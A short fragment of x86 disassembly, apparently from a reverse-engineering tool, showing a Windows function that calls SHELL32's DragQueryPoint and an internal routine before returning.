mov word [edx], cx
lea eax, [ebp - 0x6c4]
push eax
mov ecx, dword [ebp - 0x9e0]
push ecx
call dword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [ebp - 0xfac], eax
mov edx, dword [ebp - 0x7dc]
shl edx, 0x1b
mov dword [ebp - 0x2e0], edx
call fcn.004d7e60
mov eax, dword [ebp - 0xe48]
pop esi
mov esp, ebp
pop ebp
ret 0x10